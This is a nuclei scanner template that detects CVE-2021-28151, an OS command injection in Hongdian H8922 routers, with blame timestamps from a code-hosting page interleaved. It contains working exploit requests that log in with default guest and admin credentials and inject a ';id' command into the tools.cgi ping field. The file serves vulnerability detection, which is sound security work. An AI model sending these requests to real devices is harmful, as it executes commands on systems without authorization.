nuclei-templates/cves/2021/CVE-2021-28151.yaml

56 lines
1.5 KiB
YAML
Raw Normal View History

id: CVE-2021-28151
info:
name: Hongdian H8922 3.0.5 - Remote Command Injection
author: gy741
severity: high
description: |
Hongdian H8922 3.0.5 devices allow OS command injection via shell metacharacters into the ip-address (aka Destination) field to the tools.cgi ping command, which is accessible with the username guest and password guest.
reference:
2021-07-10 13:15:09 +00:00
- https://ssd-disclosure.com/ssd-advisory-hongdian-h8922-multiple-vulnerabilities/
- http://en.hongdian.com/Products/Details/H8922
- https://nvd.nist.gov/vuln/detail/CVE-2021-28151
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
cvss-score: 8.8
cve-id: CVE-2021-28151
cwe-id: CWE-78
tags: cve,cve2021,hongdian,rce,injection
requests:
- raw:
- |
POST /tools.cgi HTTP/1.1
Host: {{Hostname}}
Authorization: Basic Z3Vlc3Q6Z3Vlc3Q=
Origin: {{BaseURL}}
Referer: {{BaseURL}}/tools.cgi
op_type=ping&destination=%3Bid
- |
POST /tools.cgi HTTP/1.1
Host: {{Hostname}}
Authorization: Basic YWRtaW46YWRtaW4=
Origin: {{BaseURL}}
Referer: {{BaseURL}}/tools.cgi
op_type=ping&destination=%3Bid
matchers-condition: and
matchers:
2023-01-02 09:33:06 +00:00
- type: regex
regex:
- 'uid=\d+\(([^)]+)\) gid=\d+\(([^)]+)\)'
- type: word
part: header
words:
2023-01-02 09:33:06 +00:00
- "text/html"
- "application/x-www-form-urlencoded"
condition: or
2023-01-02 09:33:06 +00:00
- type: status
status:
- 200